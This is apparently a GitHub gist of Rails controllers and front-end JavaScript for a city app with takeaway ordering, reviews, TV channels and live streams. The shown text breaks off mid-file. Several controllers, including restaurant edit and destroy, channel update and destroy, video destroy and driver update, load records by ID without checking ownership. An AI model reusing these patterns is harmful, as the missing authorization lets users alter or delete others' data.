rails/brgen/app/controllers/sessions_controller.rb

# frozen_string_literal: true

class SessionsController < ApplicationController
  allow_unauthenticated_access only: %i[ new create ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_path, alert: "Try another email address or password."
    end
  end

  def destroy
    terminate_session
    redirect_to new_session_path, status: :see_other
  end
end

rails/brgen/app/controllers/takeaway/base_controller.rb

# frozen_string_literal: true

class Takeaway::BaseController < ApplicationController

end

rails/brgen/app/controllers/takeaway/delivery_drivers_controller.rb

# frozen_string_literal: true

module Takeaway
  class DeliveryDriversController < ApplicationController
    before_action :set_driver, only: %i[show update]

    def index
      @delivery_drivers = Takeaway::DeliveryDriver.available.limit(100)
    end

    def show
    end

    def update
      if @delivery_driver.update(driver_params)
        redirect_to takeaway_delivery_driver_path(@delivery_driver), notice: t("takeaway.driver_updated", default: "Driver updated")
      else
        render :show, status: :unprocessable_entity
      end
    end

    private

    def set_driver
      @delivery_driver = Takeaway::DeliveryDriver.find(params[:id])
    end

    def driver_params
      params.require(:delivery_driver).permit(:vehicle_type, :license_number, :available, :current_lat, :current_lng)
    end
  end
end

rails/brgen/app/controllers/takeaway/favorite_restaurants_controller.rb

# frozen_string_literal: true

class Takeaway::FavoriteRestaurantsController < Takeaway::BaseController
  before_action :set_restaurant

  def create
    Current.user.takeaway_favorite_restaurants.find_or_create_by!(restaurant: @restaurant)
    redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: "Restaurant saved"
  end

  def destroy
    Current.user.takeaway_favorite_restaurants.find_by(restaurant: @restaurant)&.destroy
    redirect_back fallback_location: takeaway_restaurant_path(@restaurant), notice: "Restaurant removed"
  end

  private

  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))
end

rails/brgen/app/controllers/takeaway/menu_items_controller.rb

# frozen_string_literal: true

class Takeaway::MenuItemsController < Takeaway::BaseController
  before_action :set_restaurant

  def create
    @item = @restaurant.menu_items.build(item_params)
    @item.save ?
      redirect_to(takeaway_restaurant_path(@restaurant), notice: "Item added") :
      redirect_to(takeaway_restaurant_path(@restaurant), alert: @item.errors.full_messages.to_sentence)
  end

  def destroy
    @restaurant.menu_items.find(params[:id]).destroy
    redirect_to takeaway_restaurant_path(@restaurant)
  end

  private
  def set_restaurant = (@restaurant = Current.user.takeaway_restaurants.find(params[:restaurant_id]))
  def item_params    = params.require(:takeaway_menu_item).permit(:name, :description, :price_cents, :available, :vegetarian, :vegan, :photo)
end

rails/brgen/app/controllers/takeaway/orders_controller.rb

# frozen_string_literal: true

class Takeaway::OrdersController < Takeaway::BaseController
  before_action :set_restaurant, only: %i[new create]

  def index
    @pagy, @orders = pagy(Current.user.takeaway_orders.recent.includes(:restaurant))
  end

  def show
    @order = Current.user.takeaway_orders.includes(:restaurant, order_items: :menu_item).find(params[:id])
  end

  def new
    @order      = Takeaway::Order.new
    @menu_items = @restaurant.menu_items.available
  end

  def create
    @order = @restaurant.orders.build(order_params.merge(user: Current.user))
    item_params.each do |item_id, qty|
      next unless qty.to_i > 0
      item = @restaurant.menu_items.find_by(id: item_id)
      next unless item
      @order.order_items.build(menu_item: item, quantity: qty.to_i, unit_price_cents: item.price_cents)
    end
    saved = ActiveRecord::Base.transaction do
      @order.save ? @order.calculate_totals! && true : false
    end
    if saved
      redirect_to takeaway_order_path(@order), notice: "Order placed"
    else
      @menu_items = @restaurant.menu_items.available
      render :new, status: :unprocessable_entity
    end
  end

  def update
    @order = Takeaway::Order.includes(:restaurant).find(params[:id])
    @order.advance_status! if @order.restaurant.owner?(Current.user)
    redirect_to takeaway_order_path(@order)
  end

  private
  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:restaurant_id]))
  def order_params   = params.require(:takeaway_order).permit(:delivery_address, :special_instructions)
  def item_params    = params.dig(:takeaway_order, :items) || {}
end

rails/brgen/app/controllers/takeaway/restaurants_controller.rb

# frozen_string_literal: true

class Takeaway::RestaurantsController < Takeaway::BaseController
  allow_unauthenticated_access only: %i[index show]
  before_action :set_restaurant, only: %i[show edit update destroy]

  def index
    scope = Takeaway::Restaurant.active.includes(:user)
    scope = scope.where(cuisine_type: params[:cuisine]) if params[:cuisine].present?
    scope = scope.where("name LIKE ?", "%#{params[:q]}%") if params[:q].present?
    @pagy, @restaurants = pagy(scope.popular)
  end

  def show
    @menu_items = @restaurant.menu_items.available
    @favorited = authenticated? && Current.user.takeaway_favorite_restaurants.exists?(restaurant: @restaurant)
    @reviews = load_neighbour_reviews
    @can_review = can_leave_review?
  end

  def new
    @restaurant = Takeaway::Restaurant.new
  end

  def create
    @restaurant = Current.user.takeaway_restaurants.build(restaurant_params)
    @restaurant.save ?
      redirect_to(takeaway_restaurant_path(@restaurant), notice: "Restaurant created") :
      render(:new, status: :unprocessable_entity)
  end

  def edit; end

  def update
    @restaurant.update(restaurant_params) ?
      redirect_to(takeaway_restaurant_path(@restaurant)) :
      render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @restaurant.destroy
    redirect_to takeaway_restaurants_path
  end

  private

  def set_restaurant = (@restaurant = Takeaway::Restaurant.find(params[:id]))

  def restaurant_params = params.require(:takeaway_restaurant).permit(
    :name,
    :description,
    :address,
    :city,
    :phone,
    :cuisine_type,
    :delivery_fee_cents,
    :min_order_cents,
    :active,
  )

  def load_neighbour_reviews
    base = @restaurant.reviews.includes(:user).order(created_at: :desc).limit(12)
    return base unless authenticated? && Current.user&.latitude

    my_lat = Current.user.latitude.to_f
    my_lng = Current.user.longitude.to_f
    base.select do |r|
      rlat = r.reviewer_lat || r.user&.latitude
      rlng = r.reviewer_lng || r.user&.longitude
      next false unless rlat && rlng
      User.haversine(my_lat, my_lng, rlat.to_f, rlng.to_f) <= 4.0
    end
  end

  def can_leave_review?
    authenticated? && Current.user.takeaway_orders.where(restaurant: @restaurant, status: "delivered").exists?
  end
end

rails/brgen/app/controllers/takeaway/reviews_controller.rb

# frozen_string_literal: true

class Takeaway::ReviewsController < Takeaway::BaseController
  before_action :set_restaurant

  def create
    unless authenticated?
      redirect_to(new_session_path, alert: "Sign in to leave a review")
      return
    end

    user = Current.user
    delivered_orders = Takeaway::Order.where(user: user, restaurant: @restaurant, status: "delivered")
    has_delivered = delivered_orders.exists?
    unless has_delivered
      redirect_to(takeaway_restaurant_path(@restaurant), alert: "Review only after delivered order")
      return
    end

    # note: unique(order,user) + delivered gate; no mutex needed
    # law_of_demeter: direct model context here is fine for reviews
    review = @restaurant.reviews.build(review_params.merge(user: user))
    if user.latitude.present?
      review.reviewer_lat = user.latitude
      review.reviewer_lng = user.longitude
    end

    if review.save
      @restaurant.update_rating!
      redirect_to(takeaway_restaurant_path(@restaurant), notice: "Review saved")
    else
      redirect_to(takeaway_restaurant_path(@restaurant), alert: review.errors.full_messages.to_sentence)
    end
  end

  private

  def set_restaurant
    @restaurant = Takeaway::Restaurant.find(params[:restaurant_id])
  end

  def review_params
    params.require(:takeaway_review).permit(:rating, :body)
  end
end

rails/brgen/app/controllers/tv/base_controller.rb

# frozen_string_literal: true

class Tv::BaseController < ApplicationController

end

rails/brgen/app/controllers/tv/channels_controller.rb

# frozen_string_literal: true

class Tv::ChannelsController < Tv::BaseController
  allow_unauthenticated_access only: %i[index show]
  before_action :set_channel, only: %i[show edit update destroy subscribe unsubscribe]

  def index    = (@pagy, @channels = pagy(Tv::Channel.popular.includes(:user)))
  def show     = (@pagy, @videos = pagy(@channel.videos.published))
  def new      = (@channel = Tv::Channel.new)
  def edit;    end

  def create
    @channel = Current.user.tv_channels.build(channel_params)
    @channel.save ? redirect_to(tv_channel_path(@channel), notice: "Channel created") : render(:new, status: :unprocessable_entity)
  end

  def update
    @channel.update(channel_params) ? redirect_to(tv_channel_path(@channel)) : render(:edit, status: :unprocessable_entity)
  end

  def destroy = (@channel.destroy and redirect_to tv_channels_path)

  def subscribe
    Tv::Subscription.find_or_create_by!(user: Current.user, tv_channel: @channel)
    redirect_back fallback_location: tv_channel_path(@channel)
  end

  def unsubscribe
    Tv::Subscription.find_by(user: Current.user, tv_channel: @channel)&.destroy
    redirect_back fallback_location: tv_channel_path(@channel)
  end

  private
  def set_channel    = (@channel = Tv::Channel.find_by!(slug: params[:id]))
  def channel_params = params.require(:tv_channel).permit(:name, :description, :banner, :avatar)
end

rails/brgen/app/controllers/tv/comments_controller.rb

# frozen_string_literal: true

class Tv::CommentsController < Tv::BaseController
  before_action :require_authentication
  before_action :set_video

  def create
    @comment = @video.comments.build(comment_params.merge(user: Current.user))
    if @comment.save
      redirect_to tv_video_path(@video), notice: "Comment added."
    else
      redirect_to tv_video_path(@video), alert: @comment.errors.full_messages.to_sentence
    end
  end

  private

  def set_video
    @video = Tv::Video.find(params[:video_id])
  end

  def comment_params
    params.require(:tv_comment).permit(:body)
  end
end

rails/brgen/app/controllers/tv/home_controller.rb

# frozen_string_literal: true

class Tv::HomeController < Tv::BaseController
  allow_unauthenticated_access

  def index
    @pagy_trending, @trending = pagy(Tv::Video.trending.includes(:channel), limit: 12)
    @live   = Tv::Broadcast.live.includes(:channel).limit(6)
    @recent = Tv::Video.recent.includes(:channel).limit(8)
  end
end

rails/brgen/app/controllers/tv/live_streams_controller.rb

# frozen_string_literal: true

module Tv
  class LiveStreamsController < ApplicationController
    before_action :set_live_stream, only: %i[show update destroy go_live end_live]

    def index
      @live_streams = Tv::LiveStream.recent.limit(50)
    end

    def show
      @stream_chats = @live_stream.stream_chats.chronological.limit(200)
    end

    def new
      @channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?
      @live_stream = Tv::LiveStream.new(channel: @channel)
    end

    def create
      @channel = Tv::Channel.find(params[:channel_id]) if params[:channel_id].present?
      @live_stream = Tv::LiveStream.new(live_stream_params)
      @live_stream.channel ||= @channel
      @live_stream.user = current_user if respond_to?(:current_user, true)

      if @live_stream.save
        redirect_to tv_live_stream_path(@live_stream), notice: t("tv.live_stream_created", default: "Live stream created")
      else
        render :new, status: :unprocessable_entity
      end
    end

    def update
      if @live_stream.update(live_stream_params)
        redirect_to tv_live_stream_path(@live_stream), notice: t("tv.live_stream_updated", default: "Live stream updated")
      else
        render :show, status: :unprocessable_entity
      end
    end

    def destroy
      @live_stream.destroy
      redirect_to tv_live_streams_path, notice: t("tv.live_stream_deleted", default: "Live stream removed")
    end

    def go_live
      @live_stream.go_live!
      redirect_to tv_live_stream_path(@live_stream)
    end

    def end_live
      @live_stream.end_live!
      redirect_to tv_live_stream_path(@live_stream)
    end

    private

    def set_live_stream
      @live_stream = Tv::LiveStream.find(params[:id])
    end

    def live_stream_params
      params.require(:live_stream).permit(:title, :description, :status, :stream_key)
    end
  end
end

rails/brgen/app/controllers/tv/stream_chats_controller.rb

# frozen_string_literal: true

module Tv
  class StreamChatsController < ApplicationController
    before_action :set_live_stream

    def create
      entry = @live_stream.stream_chats.build(stream_chat_params)
      entry.user = current_user if respond_to?(:current_user, true)
      entry.save!

      respond_to do |format|
        format.html { redirect_to tv_live_stream_path(@live_stream) }
        format.turbo_stream
        format.json { render json: { id: entry.id }, status: :created }
      end
    end

    private

    def set_live_stream
      @live_stream = Tv::LiveStream.find(params[:live_stream_id])
    end

    def stream_chat_params
      params.require(:stream_chat).permit(:message)
    end
  end
end

rails/brgen/app/controllers/tv/video_notes_controller.rb

# frozen_string_literal: true

module Tv
  class VideoNotesController < ApplicationController
    before_action :set_video

    def create
      note = @video.video_notes.build(video_note_params)
      note.user = current_user if respond_to?(:current_user, true)
      note.save!

      respond_to do |format|
        format.html { redirect_to tv_video_path(@video) }
        format.turbo_stream
        format.json { render json: { id: note.id }, status: :created }
      end
    end

    private

    def set_video
      @video = Tv::Video.find(params[:video_id])
    end

    def video_note_params
      params.require(:video_note).permit(:body, :timestamp)
    end
  end
end

rails/brgen/app/controllers/tv/videos_controller.rb

# frozen_string_literal: true

class Tv::VideosController < Tv::BaseController
  allow_unauthenticated_access only: %i[show]
  before_action :set_video, only: %i[show destroy]

  def show
    @video.view_events.create!(user: Current.user) if authenticated?
    @video.increment!(:views_count)
  end

  def new  = (@video = Tv::Video.new)

  def create
    channel = Current.user.tv_channels.find(params[:tv_channel_id])
    @video  = channel.videos.build(video_params.merge(user: Current.user, status: "ready"))
    @video.save ? redirect_to(tv_video_path(@video), notice: "Video uploaded") : render(:new, status: :unprocessable_entity)
  end

  def destroy = (@video.destroy and redirect_to tv_root_path)

  private
  def set_video    = (@video = Tv::Video.find(params[:id]))
  def video_params = params.require(:tv_video).permit(:title, :description, :video_file, :thumbnail, :tv_channel_id)
end

rails/brgen/app/controllers/typing_indicators_controller.rb

# frozen_string_literal: true

class TypingIndicatorsController < ApplicationController
  before_action :authenticate_user!

  def create
    conversation = Conversation.for_user(current_user).find(params[:conversation_id])
    TypingIndicator.set!(conversation:, user: current_user)
    head :ok
  end
end

rails/brgen/app/controllers/votes_controller.rb

# frozen_string_literal: true

class VotesController < ApplicationController
  before_action :require_authentication

  def create
    @votable = find_votable
    vote     = @votable.votes.find_or_initialize_by(user: Current.user)
    value    = params.dig(:vote, :value).to_i

    if vote.persisted? && vote.value == value
      vote.destroy
    else
      vote.update!(value:)
    end

    respond_to do |format|
      format.turbo_stream
      format.html { redirect_back fallback_location: root_path }
    end
  end

  private

  def find_votable
    return Post.find(params[:post_id])       if params[:post_id]
    return Comment.find(params[:comment_id]) if params[:comment_id]
    raise ActiveRecord::RecordNotFound, "no votable in params"
  end
end

rails/brgen/app/javascript/application.js

import "@hotwired/turbo-rails"
import "controllers"

// ── Warp tunnel + city carousel ──────────────────────────────────────────────
// Runs once on first load; canvas/carousel are data-turbo-permanent so they
// survive Turbo navigations without re-initialisation.

const pack32 = (r, g, b, a) => ((a & 255) << 24) | ((b & 255) << 16) | ((g & 255) << 8) | (r & 255);
const motionScale = () => (typeof matchMedia === "function" && matchMedia("(prefers-reduced-motion: reduce)").matches) ? 0.35 : 1;
const isLowEnd = (navigator.hardwareConcurrency && navigator.hardwareConcurrency <= 2) || (navigator.deviceMemory && navigator.deviceMemory <= 2);
const DPR = Math.min(2, window.devicePixelRatio || 1);

class SimpleCarousel {
  constructor(el, ms = 2800) {
    this.slides = Array.from(el.querySelectorAll(".carousel-slide"));
    this.i = 0; this.n = this.slides.length;
    if (this.n > 1) setInterval(() => this.next(), ms);
  }
  next() {
    this.slides[this.i].classList.remove("active");
    this.i = (this.i + 1) % this.n;
    this.slides[this.i].classList.add("active");
  }
}

class PixelTunnel {
  constructor(c) {
    this.ctx = c; this.w = 0; this.h = 0; this.s = 1;
    this.imageData = null; this.u32 = null; this.BLACK32 = 0;
    this.fov = 250; this.speed = 0.75;
    this.segments = isLowEnd ? 32 : 48;
    this.baseRadius = 75; this.zStep = isLowEnd ? 6 : 4;
    this.particles = []; this.centers = []; this.time = 0;
    this.mouse = { x: 0, y: 0, down: false, active: false };
    this.stars = []; this.bassWobble = 0;
  }

  resize(w, h, s) {
    this.w = w; this.h = h; this.s = s;
    this.ctx.fillStyle = "#000"; this.ctx.fillRect(0, 0, w, h);
    this.imageData = this.ctx.getImageData(0, 0, w, h);
    this.u32 = new Uint32Array(this.imageData.data.buffer);
    const t = new Uint8ClampedArray(4); t[3] = 255;
    this.BLACK32 = new Uint32Array(t.buffer)[0];
    this.stars = [];
    for (let i = 0; i < 80; i++) this.stars.push({ x: (Math.random() - 0.5) * w * 2, y: (Math.random() - 0.5) * h * 2, z: Math.random() * this.fov * 2 - this.fov, brightness: Math.random() * 0.5 + 0.5 });
    this.init();
  }

  drawLine32(x1, y1, x2, y2, c) {
    let dx = Math.abs(x2 - x1), dy = Math.abs(y2 - y1), sx = x1 < x2 ? 1 : -1, sy = y1 < y2 ? 1 : -1, err = dx - dy, lx = x1, ly = y1;
    for (;;) {
      if (lx > 0 && lx < this.w && ly > 0 && ly < this.h) this.u32[lx + ly * this.w] = c;
      if (lx === x2 && ly === y2) break;
      const e2 = 2 * err;
      if (e2 > -dy) { err -= dy; lx += sx; }
      if (e2 < dx) { err += dx; ly += sy; }
    }
  }

  getCirclePos(cx, cy, r, i, s) {
    const a = i * (Math.PI * 2 / s) + this.time + (this.bassWobble || 0) * 0.1;
    return { x: cx + Math.cos(a) * r, y: cy + Math.sin(a) * r };
  }

  init() {
    this.particles = []; this.centers = [];
    const w1 = Math.random() * this.w, h1 = Math.random() * this.h; let c = 0;
    for (let z = -this.fov; z < this.fov; z += this.zStep) {
      this.centers.push({ x: ((this.w / 2) - w1) * (c / 15) + this.w / 2, y: ((this.h / 2) - h1) * (c / 15) + this.h / 2 }); c++;
      const row = [];
      for (let i = 0; i < this.segments; i++) {
        const p = this.getCirclePos(0, 0, this.baseRadius, i, this.segments);
        row.push({ x: p.x, y: p.y, z, x2d: 0, y2d: 0, radius: this.baseRadius, radiusAudio: this.baseRadius, index: i, segments: this.segments, centerX: 0, centerY: 0 });
      }
      this.particles.push(row);
    }
  }

  frame(a) {
    const m = motionScale();
    this.bassWobble = this.bassWobble * 0.92 + (a?.bass || 0) * (a?.beat || 0) * 0.08;
    this.u32.fill(this.BLACK32);

    for (const star of this.stars) {
      star.z -= this.speed * 2 * m;
      if (star.z < -this.fov) { star.z += this.fov * 2; star.x = (Math.random() - 0.5) * this.w * 2; star.y = (Math.random() - 0.5) * this.h * 2; }
      const sc = this.fov / (this.fov + star.z), sx = (this.w / 2 + star.x * sc) | 0, sy = (this.h / 2 + star.y * sc) | 0;
      const br = (star.brightness * (1 - star.z / this.fov) * 180) | 0;
      if (sx > 0 && sx < this.w && sy > 0 && sy < this.h) this.u32[sx + sy * this.w] = pack32(br * 0.3, br * 0.5, br, 255);
    }

    const l = this.particles.length; let s = false;
    for (let i = 0; i < l; i++) {
      const row = this.particles[i], rowBack = i > 0 ? this.particles[i - 1] : null, center = this.centers[i];
      if (this.mouse.active) {
        center.x = (this.w / 2 + this.mouse.x / this.s) * ((row[0].z - this.fov) / 500) + this.w / 2;
        center.y = (this.h / 2 + this.mouse.y / this.s) * ((row[0].z - this.fov) / 500) + this.h / 2;
      } else { center.x += (this.w / 2 - center.x) * 0.015; center.y += (this.h / 2 - center.y) * 0.015; }
      const f = (a?.average || 0) * 64 + (a?.beat ? 8 : 0);
      if ((this.baseRadius + f) * (this.fov / (this.fov + row[0].z)) < 0.15) continue;
      for (let j = 0; j < row.length; j++) {
        const p = row[j], z = this.fov / (this.fov + p.z);
        p.x2d = p.x * z + center.x; p.y2d = p.y * z + center.y; p.radiusAudio = p.radius + f;
        p.z -= this.speed * m; if (p.z < -this.fov) { p.z += this.fov * 2; s = true; }
        const n = this.getCirclePos(p.centerX, p.centerY, p.radiusAudio, p.index, p.segments); p.x = n.x; p.y = n.y;
      }
      const d = i / Math.max(1, l - 1), bt = a?.beat || 0, av = a?.average || 0.45, bs = a?.bass || 0.5;
      const col = pack32(Math.round((20 + 60 * d + bt * 30) / 8) * 8, Math.round((40 + 120 * av) / 8) * 8, Math.round((180 * bs + 75 * (a?.high || 0.35)) / 8) * 8, 255);
      for (let j = 1; j < row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, row[j - 1].x2d | 0, row[j - 1].y2d | 0, col);
      if (row.length > 2) this.drawLine32(row[row.length - 1].x2d | 0, row[row.length - 1].y2d | 0, row[0].x2d | 0, row[0].y2d | 0, col);
      if (i > 0 && i < l - 1 && rowBack) for (let j = 0; j < row.length; j++) this.drawLine32(row[j].x2d | 0, row[j].y2d | 0, rowBack[j].x2d | 0, rowBack[j].y2d | 0, col);
    }
    if (s) this.particles = this.particles.sort((a, b) => b[0].z - a[0].z);
    this.time += 0.005 * m;

    const cx = this.w / 2, cy = this.h / 2, beat = a?.beat || 0;
    const glowR = 2 + beat * 1.5, glowCol = pack32(80, 200, 160, 255);
    for (let dx = -glowR; dx <= glowR; dx++) for (let dy = -glowR; dy <= glowR; dy++) if (dx * dx + dy * dy <= glowR * glowR) { const px = (cx + dx) | 0, py = (cy + dy) | 0; if (px > 0 && px < this.w && py > 0 && py < this.h) this.u32[px + py * this.w] = glowCol; }
    this.ctx.putImageData(this.imageData, 0, 0);
  }
}

// Synthetic beat data (no audio needed for visual effect)
let _bp = 0, _be = 0;
const syntheticData = () => {
  _bp += 0.08 * motionScale();
  const b = 0.5 + 0.4 * Math.sin(_bp * 0.8), mid = 0.45 + 0.35 * Math.sin(_bp * 1.2 + 0.7), h = 0.35 + 0.35 * Math.sin(_bp * 1.8 + 1.2);
  const beat = Math.sin(_bp) > 0.8 ? 1 : 0; _be = _be * 0.94 + (beat ? 0.4 : 0) * 0.06;
  return { bass: b, mid, high: h, average: (b + mid + h) / 3, beat: _be };
};

let tunnel, SCALE = 1, lastT = 0;

function initTunnel() {
  const canvas = document.getElementById("tunnel-canvas");
  if (!canvas || canvas.__tunnelInit) return;
  canvas.__tunnelInit = true;

  const ctx = canvas.getContext("2d", { alpha: false, willReadFrequently: true }) || canvas.getContext("2d");
  tunnel = new PixelTunnel(ctx);

  const sizeCanvas = () => {
    SCALE = Math.max(0.5, Math.min(2, Math.min(2, DPR) * (isLowEnd ? 0.8 : 1)));
    const w = Math.floor(window.innerWidth * SCALE), h = Math.floor(window.innerHeight * SCALE);
    canvas.width = w; canvas.height = h;
    canvas.style.width = window.innerWidth + "px"; canvas.style.height = window.innerHeight + "px";
    tunnel.resize(w, h, SCALE);
  };
  sizeCanvas();
  window.addEventListener("resize", () => { clearTimeout(window.__rzT); window.__rzT = setTimeout(sizeCanvas, 80); });

  // Canvas fills the viewport (position:fixed; inset:0) so clientX === canvas X.
  // Listen on window so app-shell (z-index:10) doesn't swallow the events.
  window.addEventListener("mousemove", e => { if (!tunnel) return; tunnel.mouse = { x: e.clientX * SCALE, y: e.clientY * SCALE, down: tunnel.mouse.down, active: true }; }, { passive: true });
  window.addEventListener("mouseleave", () => { if (!tunnel) return; tunnel.mouse.active = false; tunnel.mouse.down = false; });

  const animate = () => {
    const n = performance.now();
    if (!document.hidden && n - lastT >= 16) { tunnel.frame(syntheticData()); lastT = n; }
    requestAnimationFrame(animate);
  };
  animate();
}

function updateCarouselPrefix() {
  const el = document.getElementById("cityCarousel");
  if (!el) return;
  const slides = el.querySelectorAll(".carousel-slide");
  slides.forEach(s => { if (!s.dataset.base) s.dataset.base = s.textContent.trim(); });
  const parts = location.hostname.split(".");
  const prefix = parts.length >= 3 && parts[0] !== "www" ? parts[0] + "." : "";
  slides.forEach(s => { s.textContent = prefix + s.dataset.base; });
}

function initCarousel() {
  const el = document.getElementById("cityCarousel");
  if (!el || el.__carouselInit) return;
  el.__carouselInit = true;
  new SimpleCarousel(el);
  updateCarouselPrefix();
}

function initSplash() {
  const splash = document.getElementById("splash");
  if (!splash || splash.__splashInit) return;
  splash.__splashInit = true;

  const dismiss = () => {
    if (splash.hidden) return;
    splash.style.pointerEvents = "none";
    splash.classList.add("ack");
    const h2 = splash.querySelector("h2");
    if (h2) h2.classList.add("clicked");
    setTimeout(() => { splash.hidden = true; splash.classList.remove("ack"); }, 220);
  };

  splash.addEventListener("click", e => { e.stopPropagation(); dismiss(); });
  splash.addEventListener("keydown", e => { if (e.code === "Enter" || e.code === "Space") { e.preventDefault(); dismiss(); } });
  splash.focus();
}

document.addEventListener("DOMContentLoaded", () => {
  initTunnel();
  initCarousel();
  initSplash();
});

// Re-run splash + carousel prefix on Turbo page loads (tunnel/carousel persist via data-turbo-permanent)
document.addEventListener("turbo:load", () => {
  initSplash();
  updateCarouselPrefix();
});

if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")


// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
  const nav = document.querySelector("nav");
  if (!nav) return;
  let y0 = 0;
  document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
  document.addEventListener("touchend", e => {
    const dy = e.changedTouches[0].clientY - y0;
    if (dy > 40) nav.classList.add("nav-visible");
    else if (dy < -40) nav.classList.remove("nav-visible");
  }, { passive: true });
});

rails/brgen/app/javascript/controllers/animated_number_controller.js

import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}

rails/brgen/app/javascript/controllers/application.js

import { Application } from "@hotwired/stimulus"

const application = Application.start()

// Configure Stimulus development experience
application.debug = false
window.Stimulus   = application

export { application }

rails/brgen/app/javascript/controllers/application_controller.js

import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"

export default class extends Controller {
  connect() {
    StimulusReflex.register(this)
  }
}

rails/brgen/app/javascript/controllers/auto_submit_controller.js

import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}

rails/brgen/app/javascript/controllers/character_counter_controller.js

import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}

rails/brgen/app/javascript/controllers/clipboard_controller.js

import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}

rails/brgen/app/javascript/controllers/dialog_controller.js

import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}

rails/brgen/app/javascript/controllers/dropdown_controller.js

import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}

rails/brgen/app/javascript/controllers/futurism_load_more_controller.js

import { Controller } from "@hotwired/stimulus"

/**
 * Futurism-style infinite scroll for Pagy lists.
 * Amazon-like "load more as you scroll" behavior.
 *
 * Usage on sentinel:
 *   <div data-controller="futurism-load-more"
 *        data-futurism-load-more-url-value="...next page url...">
 *     Loading more...
 *   </div>
 */
export default class extends Controller {
  static values = { url: String }

  observer = null
  loading = false

  connect() {
    if (!this.hasUrlValue) return

    this.observer = new IntersectionObserver(entries => {
      entries.forEach(entry => {
        if (entry.isIntersecting && !this.loading) {
          this.loadMore()
        }
      })
    }, { rootMargin: "200px" })

    this.observer.observe(this.element)
  }

  disconnect() {
    if (this.observer) this.observer.disconnect()
  }

  async loadMore() {
    if (this.loading || !this.urlValue) return
    this.loading = true
    this.element.textContent = "Loading more deals…"

    try {
      const response = await fetch(this.urlValue, {
        headers: { "Accept": "text/html" }
      })

      if (!response.ok) throw new Error("Failed to load more")

      const html = await response.text()
      const parser = new DOMParser()
      const doc = parser.parseFromString(html, "text/html")

      // Find the next page's cards and append them
      const newGrid = doc.querySelector("#marketplace-listings")
      const currentGrid = document.querySelector("#marketplace-listings")

      if (newGrid && currentGrid) {
        Array.from(newGrid.children).forEach(child => {
          currentGrid.appendChild(child.cloneNode(true))
        })
      }

      // Update sentinel with next page URL if available
      const nextSentinel = doc.querySelector("[data-controller*='futurism-load-more']")
      if (nextSentinel && nextSentinel.dataset.futurismLoadMoreUrlValue) {
        this.urlValue = nextSentinel.dataset.futurismLoadMoreUrlValue
        this.loading = false
      } else {
        // No more pages
        this.element.remove()
      }
    } catch (error) {
      console.error("[futurism-load-more]", error)
      this.element.textContent = "Failed to load more. Scroll to retry."
      this.loading = 
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment